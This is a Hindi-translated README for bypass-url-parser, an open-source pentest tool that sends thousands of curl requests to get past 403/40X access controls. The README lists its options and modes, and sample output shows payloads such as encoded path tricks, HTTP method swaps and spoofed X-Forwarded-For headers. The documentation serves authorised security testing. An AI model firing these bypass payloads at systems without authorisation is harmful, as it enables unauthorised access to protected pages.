
40X संरक्षित पृष्ठों के विरुद्ध सैकड़ों URL बायपास तकनीकों का परीक्षण करता है, जिसमें रॉ कर्ल अनुरोध, मल्टी-मोड स्कैनिंग, हेडर स्पूफिंग और एक्सेस कंट्रोल मूल्यांकन के लिए JSON/HTML परिणाम निर्यात शामिल हैं।
एक उपकरण जो MANY url बाईपास का परीक्षण करता है ताकि 40X संरक्षित पृष्ठ तक पहुंच सके।
यदि आप सोच रहे हैं कि यह कोड nothing but a dirty curl wrapper है, तो इसका कारण यह है:
यह surprisingly hard है इसे python में प्राप्त करना बिना सभी lib सुविधाओं जैसे parsing, ssl/tls encapsulation आदि को खोए।
इसलिए, मेरी तरह बनें, curl as a backend का उपयोग करें, यह ठीक रहेगा।
इसके अलावा, इस उपकरण का उपयोग एक लाइब्रेरी के रूप में किया जा सकता है, देखें lib_sample_usage.py
हम इस उपकरण को स्थापित करने के लिए pipx का उपयोग करने की अनुशंसा करते हैं:```bash
pipx install bypass-url-parser
pipx install git+https://github.com/laluka/bypass-url-parser
वैकल्पिक रूप से, आप `pip` का उपयोग कर सकते हैं:```bash
pip install bypass-url-parser
Bypass Url Parser, made with love by @TheLaluka A tool that tests MANY url bypasses to reach a 40X protected page.
Usage: bypass-url-parser (-u | -R ) [-m ] [-o ] [-S ] [ (-H
)...] [-r ] [-s ] [--spoofip-replace] [-p ] [--spoofport-replace] [-t ] [-T ] [--request-tls] [--jsonl] [--dump-payloads] [-x <proxy_url>] [-v | -d | -dd]Program options: -u, --url URL (path is optional) to run bypasses against -R, --request Load HTTP raw request from a file -H, --header
Header(s) to use, format: "Cookie: can_i_haz=fire" -m, --mode Bypass modes. See 'Bypasser.BYPASS_MODES' in code [Default: all] -o, --outdir Output directory for results -x, --proxy <proxy_url> Set a proxy in the format http://proxy_ip:port. -S, --save-level Save results level. From 0 (DISABLE) to 3 (FULL) [Default: 2] -s, --spoofip IP(s) to inject in ip-specific headers -p, --spoofport Port(s) to inject in port-specific headers -r, --retry Retry attempts of failed requests. Set 0 to disable all retry tentatives [Default: 1] -t, --threads Scan with N parallel threads [Default: 1] -T, --timeout Request times out after N seconds [Default: 5]General options: -h, --help Show help, you are here :) -v, --verbose Verbose output -d, --debug Show more details like curl commands generated by this tool -dd, --debug Print Debug level 2 (with all classes debug_class output) -V, --version Show version info
Misc options: --spoofip-replace Disable list of default internal IPs in 'http_headers_ip' bypass mode --spoofport-replace Disable list of default internal ports in 'http_headers_port' bypass mode --request-tls Force usage of TLS/HTTPS for the request load with the '-R, --request' option --dump-payloads Print all payloads (curls) generated by this tool. --jsonl Print results in JSON lines format (pipe command output)
Examples: bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test" bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths"
## अपेक्षित परिणाम```bash
bypass-url-parser -u http://127.0.0.1:8000/foo/bar
2022-08-09 14:52:40 lalu-perso bup[361559] WARNING Trying to bypass 'http://127.0.0.1:8000/foo/bar' url (3213 payloads)...
2022-08-09 14:52:40 lalu-perso bup[361559] INFO Doing: 50 / 3213
[...]
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Doing: 3200 / 3213
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (1/3) the '16' failed curl commands with 10 threads and 10s timeout
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (2/3) the '16' failed curl commands with 5 threads and 20s timeout
2022-08-09 14:52:54 lalu-perso bup[361559] INFO Retry (3/3) the '16' failed curl commands with 1 threads and 30s timeout
2022-08-09 14:52:55 lalu-perso bup[361559] INFO
[#####] [bypass_method] [payload] => [status_code] [content_type] [content_length] [lines_count] [word_counts] [title] [server] [redirect_url]
[GROUP (1587)] [original_request] [http://127.0.0.1:8000/foo/bar] => [404] [text/html] [469] [14] [95] [Error response] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (10)] [http_methods] [-X CONNECT http://127.0.0.1:8000/foo/bar] => [501] [text/html] [500] [14] [96] [Error response] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000/???foo/bar] => [200] [text/html] [913] [26] [27] [Directory listing for /???foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//???foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/???foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000/??foo/bar] => [200] [text/html] [911] [26] [27] [Directory listing for /??foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//??foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/??foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000/?foo/bar] => [200] [text/html] [909] [26] [27] [Directory listing for /?foo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000//?foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/?foo/bar]
[SINGLE] [mid_paths] [http://127.0.0.1:8000///?anythingfoo/bar] => [200] [text/html] [929] [26] [27] [Directory listing for ///?anythingfoo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[SINGLE] [mid_paths] [http://127.0.0.1:8000////?anythingfoo/bar] => [200] [text/html] [931] [26] [27] [Directory listing for ////?anythingfoo/bar] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (2)] [mid_paths] [http://127.0.0.1:8000/#?foo/bar] => [200] [text/html] [893] [26] [27] [Directory listing for /] [SimpleHTTP/0.6 Python/3.8.10] []
[GROUP (2)] [mid_paths] [http://127.0.0.1:8000//#?foo/bar] => [301] [] [] [0] [0] [] [SimpleHTTP/0.6 Python/3.8.10] [/]
sudo apt install -y bat curl virtualenv python3
virtualenv -p python3 .py3 source .py3/bin/activate PDM_BUILD_SCM_VERSION="$(git describe --abbrev=0)-dev" pip install .
python src/bypass_url_parser/init.py -u https://thinkloveshare.com/juicy_403_endpoint/
bypass-url-parser -u https://thinkloveshare.com/juicy_403_endpoint/ cat /tmp/tmpRANDOM-bypass-url-parser/triaged-bypass.json | jq -r '.results[].request_curl_cmd' cat /tmp/tmpRANDOM-bypass-url-parser/triaged-bypass.json | jq -r '.results[].response_data'
### DOCKER```bash
docker run --rm -it -v "$PWD:/host" -w /host ghcr.io/laluka/bypass-url-parser:latest bash -il
# Then bup -h, keep the docker open as the output is saved by default in /tmp
# Or specify the output to the current directory, and consult them later! :)
Bypass_url_parser कई तरीकों से कुछ तर्कों को परिभाषित करने की अनुमति देता है:
-m, --mode, -s, --spoofip और -p, --spoofport तर्क एक फ़ाइल नाम, एक स्ट्रिंग, एक अल्पविराम-से-पृथक स्ट्रिंग सूची या एक सूची हो सकते हैं (जब Bypasser को लाइब्रेरी के रूप में उपयोग किया जाता है);-u, --url तर्क एक फ़ाइल नाम, एक स्ट्रिंग या एक सूची हो सकता है (जब Bypasser को लाइब्रेरी के रूप में उपयोग किया जाता है);- के साथ) समर्थित है।उदाहरण के लिए, यदि आप कई लक्ष्य url (-u, --url) परिभाषित करना चाहते हैं, तो निम्नलिखित सभी आदेश समान परिणाम उत्पन्न करते हैं:```bash
bypass-url-parser -u http://thinkloveshare.com/test
bypass-url-parser -u /path/urls
cat /path/urls | bypass-url-parser -u -
echo 'http://thinkloveshare.com/test' | bypass-url-parser -u -
### लक्ष्य परिभाषा
टूल के काम करने के लिए एक लक्ष्य परिभाषित किया जाना चाहिए। 2 विकल्प:
- `-u, --url`: URL(एस), GET में
- `-R, --request`: अनुरोध फ़ाइल। प्रोटोकॉल फ़ाइल से अनुमान नहीं लगाया जा सकता, इसलिए डिफ़ॉल्ट रूप से `http` या यदि `--request-tls` विकल्प मौजूद है तो `https`।
### बाईपास मोड
यदि `-m, --mode` निर्दिष्ट किया गया है, तो आप एक विशिष्ट परीक्षण (या परीक्षणों) को चलाने और टूल द्वारा भेजे गए अनुरोधों की संख्या को कम करने के लिए वांछित बाईपास मोड का चयन कर सकते हैं।
अभी के लिए, निम्नलिखित बाईपास मोड समर्थित हैं:```
all, mid_paths, end_paths, case_substitution, char_encode, http_methods, http_versions, http_headers_method, http_headers_scheme, http_headers_ip, http_headers_port, http_headers_url, user_agent
उदाहरण:```bash bypass-url-parser -u /path/urls -m "case_substitution, char_encode, http_headers_scheme"
### Spoofip / Spoofport
बायपास प्रयासों में उपयोग किए जाने वाले आईपी पते और पोर्ट को अनुकूलित करने के लिए, यह टूल निम्नलिखित विकल्पों का समर्थन करता है:
- `-s, --spoofip` के साथ आप `ip-specific` हेडर्स (`X-Forwarded-For`, `X-Real-Ip`, आदि) में इंजेक्ट करने के लिए कुछ IP सेट कर सकते हैं।
- `-p, --spoofport` के साथ आप `port-specific` हेडर्स (`X-Forwarded-Port`) में इंजेक्ट करने के लिए कुछ पोर्ट सेट कर सकते हैं।
डिफ़ॉल्ट रूप से, ये कस्टम प्रविष्टियां आंतरिक IP/पोर्ट सूचियों में जोड़ दी जाती हैं। यदि आप केवल अपने IP/पोर्ट का उपयोग करना चाहते हैं, तो आप `--spoofip-replace` और/या `--spoofport-replace` आर्गुमेंट का उपयोग कर सकते हैं।
उदाहरण:```bash
bypass-url-parser -u /path/urls -s /path/custom_ip --spoofip-replace
bypass-url-parser -u /path/urls -p "3000, 9443, 10443"
--jsonl विकल्प के साथ, परिणामों को stdout पर JSON-Lines प्रारूप में प्रिंट करना संभव है। मानक टूल का आउटपुट और परिणाम stderr पर लॉगर के साथ प्रदर्शित होते हैं, इसलिए JSON-Line आउटपुट प्रारूप को अन्य टूल्स के साथ पाइप करना संभव है:
./linuxprivchecker --jsonl | jq '.["os"]' # Get the OS info JSON-Lines output
``````bash
bypass-url-parser -u "https://thinkloveshare.com/juicy_403_endpoint/" -t 20 -S 0 -m case_substitution,char_encode --jsonl | jq
नोट्स: -S 2 ou -S 3 के साथ, JSON-Lines आउटपुट में सहेजी गई html फ़ाइलों का पथ और नाम भी शामिल होता है।
डिफ़ॉल्ट रूप से, यदि लक्ष्य url अद्वितीय है, तो उपकरण /tmp/tmpXXX-bypass-url-parser/ निर्देशिका में परिणामों की एक प्रतिलिपि सहेजता है।
नोट्स: यदि -u को एकाधिक लक्ष्य url दिए जाते हैं, तो परिणाम url को निर्देशिका के रूप में उपसर्गित किए जाते हैं (/tmp/tmpXXX-bypass-url-parser/http-target-com-8080-api-users/).
इस व्यवहार को अनुकूलित करने के लिए दो तर्क हैं:
-o, --outdir एक कस्टम आउटपुट निर्देशिका सेट करने के लिए-S, --save-level एक सहेजने का स्तर चुनने के लिएसहेजने के स्तर निम्नलिखित हैं:
0 (NONE): आउटपुट सहेजना और आउटपुट निर्देशिका निर्माण अक्षम करें;1 (MINIMAL): केवल प्रोग्राम लॉग फ़ाइल सहेजें जिसमें परिणाम शामिल हैं: triaged-bypass.log;2 (PERTINENT): प्रोग्राम लॉग फ़ाइल triaged-bypass.log और प्रासंगिक (परिणाम) curl प्रतिक्रियाओं को triaged-bypass.json फ़ाइल और अलग html फ़ाइलों में सहेजें (डिफ़ॉल्ट);3 (FULL): प्रोग्राम लॉग फ़ाइल triaged-bypass.log और सभी curl प्रतिक्रियाओं को triaged-bypass.json फ़ाइल और अलग html फ़ाइलों में सहेजें।bypass-url-parser -S 0 bypass-url-parser -S 1 -o /tmp/bypass-res bypass-url-parser -S 2 -o /tmp/bypass-res2 -H "User-Agent: curl 7.74.0" -u http://thinkloveshare.com/juicy_403_endpoint/ tree /tmp/bypass-res2/ ├── bypass-2469eecf6c38b5817d2248e911ad4382.html ├── bypass-6f7cce7caf0a0a4b440859fa189d496d.html ├── bypass-80f4ab5d32b4e74c20630c7e67f2e42f.html ├── bypass-93079abffe63d34f79ac4a511cd6b5e6.html ├── bypass-945822230d58d1ad4680d5dfbc470ecb.html ├── bypass-e6118c315eea0e5b2ebc4fcafe0559c0.html ├── triaged-bypass.json └── triaged-bypass.log
0 directories, 8 files
#### परिणाम निर्यात
`MINIMAL` स्तर से शुरू करते हुए, प्रोग्राम द्वारा प्रदर्शित परिणाम `triaged-bypass.log` फ़ाइल में सहेजे जाते हैं।
#### JSON निर्यात
`PERTINENT` और `FULL` सहेजने के स्तरों के साथ, प्रोग्राम अतिरिक्त रूप से सभी परिणामों को `triaged-bypass.json` फ़ाइल में निर्यात करता है:```json
{
"url": "http://thinkloveshare.com/juicy_403_endpoint/",
"bypass_modes": "all",
"results": [
{
"request_curl_cmd": "/usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is -H 'X-BlueCoat-Via: localhos[...SNIP...]",
"request_curl_payload": "-H X-BlueCoat-Via: localhost http://thinkloveshare.com/juicy_403_endpoint/",
"response_headers": "HTTP/1.1 301 Moved Permanently\nConnection: keep-alive\nContent-Length: 162\nServer: GitHub.c[...SNIP...]",
"response_data": "<html>\n<head><title>301 Moved Permanently</title></head>\n<body>\n<center><h1>301 Moved Permane[...SNIP...]",
"response_status_code": 301,
"response_content_type": "text/html",
"response_content_length": 162,
"response_lines_count": 7,
"response_words_count": 4,
"response_title": "301 Moved Permanently",
"response_server_type": "GitHub.com",
"response_redirect_url": "https://thinkloveshare.com/juicy_403_endpoint/",
"response_html_filename": "bypass-e6118c315eea0e5b2ebc4fcafe0559c0.html"
},
{
"request_curl_cmd": "/usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is -X PROPFIND http://thinklove[...SNIP...]",
"request_curl_payload": "-X PROPFIND http://thinkloveshare.com/juicy_403_endpoint/",
"response_headers": "HTTP/1.1 405 Method Not Allowed\nConnection: close\nContent-Length: 131\nServer: Varnish\nRet[...SNIP...]",
"response_data": "<html>\n<head><title>405 Not Allowed</title></head>\n<body bgcolor=\"white\">\n<center><h1>405 N[...SNIP...]",
"response_status_code": 405,
"response_content_type": "",
"response_content_length": 131,
"response_lines_count": 5,
"response_words_count": 5,
"response_title": "405 Not Allowed",
"response_server_type": "Varnish",
"response_redirect_url": "",
"response_html_filename": "bypass-945822230d58d1ad4680d5dfbc470ecb.html"
},
{ "...": "[...SNIP...]"},
{
"request_curl_cmd": "/usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is 'http://thinkloveshare.com/j[...SNIP...]",
"request_curl_payload": "http://thinkloveshare.com/juicy_403_endpoint/\u00b0//",
"response_headers": "HTTP/1.1 400 Bad request\nConnection: keep-alive\nContent-Length: 90\nCache-Control: no-cache[...SNIP...]",
"response_data": "<html><body><h1>400 Bad request</h1>\nYour browser sent an invalid request.\n</body></html>\n",
"response_status_code": 400,
"response_content_type": "text/html",
"response_content_length": 90,
"response_lines_count": 3,
"response_words_count": 7,
"response_title": "",
"response_server_type": "",
"response_redirect_url": "",
"response_html_filename": "bypass-2469eecf6c38b5817d2248e911ad4382.html"
}
]
}
उन्हें jq के साथ संभालना आसान बनाना:```bash
$ jq -r '.results[] | [.request_curl_payload, .response_status_code, .response_content_type, .response_content_length] | join("|")' /tmp/bypass-res2/triaged-bypass.json
-H X-BlueCoat-Via: localhost http://thinkloveshare.com/juicy_403_endpoint/|301|text/html|162 -X PROPFIND http://thinkloveshare.com/juicy_403_endpoint/|405||131 http://thinkloveshare.com/%3b%2f%2e%2e%2f%2e%2e%2f%2fjuicy_403_endpoint/|400|text/html|9121 -H Host: 8.8.8.8 http://thinkloveshare.com/juicy_403_endpoint/|404|text/html|9115 -X CONNECT http://thinkloveshare.com/juicy_403_endpoint/|400|text/plain|15 http://thinkloveshare.com/juicy_403_endpoint/°//|400|text/html|90
#### HTML फ़ाइलें
`PERTINENT` और `FULL` सेविंग स्तरों के साथ, curl कमांड और पूर्ण HTTP प्रतिक्रियाएं छद्म `.html` फ़ाइलों में भी संग्रहीत की जाती हैं:```bash
$ echo /tmp/bypass-res2/*.html | xargs batcat
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /tmp/bypass-res2/bypass-2469eecf6c38b5817d2248e911ad4382.html
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ /usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is 'http://thinkloveshare.com/juicy_403_endpoint/°//'
2 │
3 │ HTTP/1.1 400 Bad request
4 │ Connection: keep-alive
5 │ Content-Length: 90
6 │ Cache-Control: no-cache
7 │ Content-Type: text/html
8 │ Accept-Ranges: bytes
9 │ Date: Tue, 25 Apr 2023 23:51:38 GMT
10 │ Via: 1.1 varnish
11 │ X-Served-By: cache-par-lfpg1960025-PAR
12 │ X-Cache: MISS
13 │ X-Cache-Hits: 0
14 │ X-Timer: S1682466698.230664,VS0,VE10
15 │ Vary: Accept-Encoding
16 │ X-Fastly-Request-ID: b6bbb82302420db4f101a316dca39cc283a4fd44
17 │
18 │ <html><body><h1>400 Bad request</h1>
19 │ Your browser sent an invalid request.
20 │ </body></html>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /tmp/bypass-res2/bypass-6f7cce7caf0a0a4b440859fa189d496d.html
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ /usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is -X CONNECT http://thinkloveshare.com/juicy_403_endpoint/
2 │
3 │ HTTP/1.1 400 Bad Request
4 │ Connection: close
5 │ Content-Length: 15
6 │ content-type: text/plain; charset=utf-8
7 │ x-served-by: cache-par-lfpg1960083
8 │
9 │ invalid request
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /tmp/bypass-res2/bypass-80f4ab5d32b4e74c20630c7e67f2e42f.html
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ /usr/bin/curl -sS -kgi -H 'User-Agent: curl 7.74.0' --path-as-is http://thinkloveshare.com/%3b%2f%2e%2e%2f%2e%2e%2f%2fjuicy_403_endpoint/
2 │
3 │ HTTP/1.1 400 Bad Request
4 │ Connection: keep-alive
5 │ Content-Length: 9121
6 │ Server: GitHub.com
7 │ Content-Type: text/html; charset=utf-8
8 │ ETag: "64417b9f-23a1"
9 │ Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'
10 │ X-GitHub-Request-Id: 598E:F13E:26EE27D:284F5D2:64486731
11 │ Accept-Ranges: bytes
12 │ Date: Tue, 25 Apr 2023 23:50:11 GMT
13 │ Via: 1.1 varnish
14 │ X-Served-By: cache-par-lfpg1960046-PAR
15 │ X-Cache: MISS
16 │ X-Cache-Hits: 0
17 │ X-Timer: S1682466611.396077,VS0,VE101
18 │ Vary: Accept-Encoding
19 │ X-Fastly-Request-ID: 30bd6af5892c40da130ee49bbeacd147a1a6b3c3
20 │
21 │ <!DOCTYPE html>
22 │ <html>
23 │ <head>
24 │ <meta http-equiv="Content-type" content="text/html; charset=utf-8">
25 │ <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'">
26 │ <title>Bad request · GitHub Pages</title>
27 │ <style type="text/css" media="screen">
[...SNIP...]
Docker और Pypi बिल्ड के लिए समर्थनकॉपीराइट (C) 2022 Laluka
यह प्रोग्राम मुफ़्त सॉफ़्टवेयर है: आप इसे GNU Affero जनरल पब्लिक लाइसेंस की शर्तों के तहत पुनर्वितरित और/या संशोधित कर सकते हैं, जैसा कि फ्री सॉफ्टवेयर फाउंडेशन द्वारा प्रकाशित किया गया है, या तो लाइसेंस का संस्करण 3, या (आपके विकल्प पर) कोई भी बाद का संस्करण।
यह प्रोग्राम इस उम्मीद में वितरित किया जाता है कि यह उपयोगी होगा, लेकिन बिना किसी वारंटी के; यहां तक कि व्यापारिकता या किसी विशेष उद्देश्य के लिए उपयुक्तता की निहित वारंटी के बिना भी। अधिक जानकारी के लिए GNU Affero जनरल पब्लिक लाइसेंस देखें।
आपको इस प्रोग्राम के साथ GNU Affero जनरल पब्लिक लाइसेंस की एक प्रति प्राप्त होनी चाहिए थी। यदि नहीं, तो https://www.gnu.org/licenses/ देखें।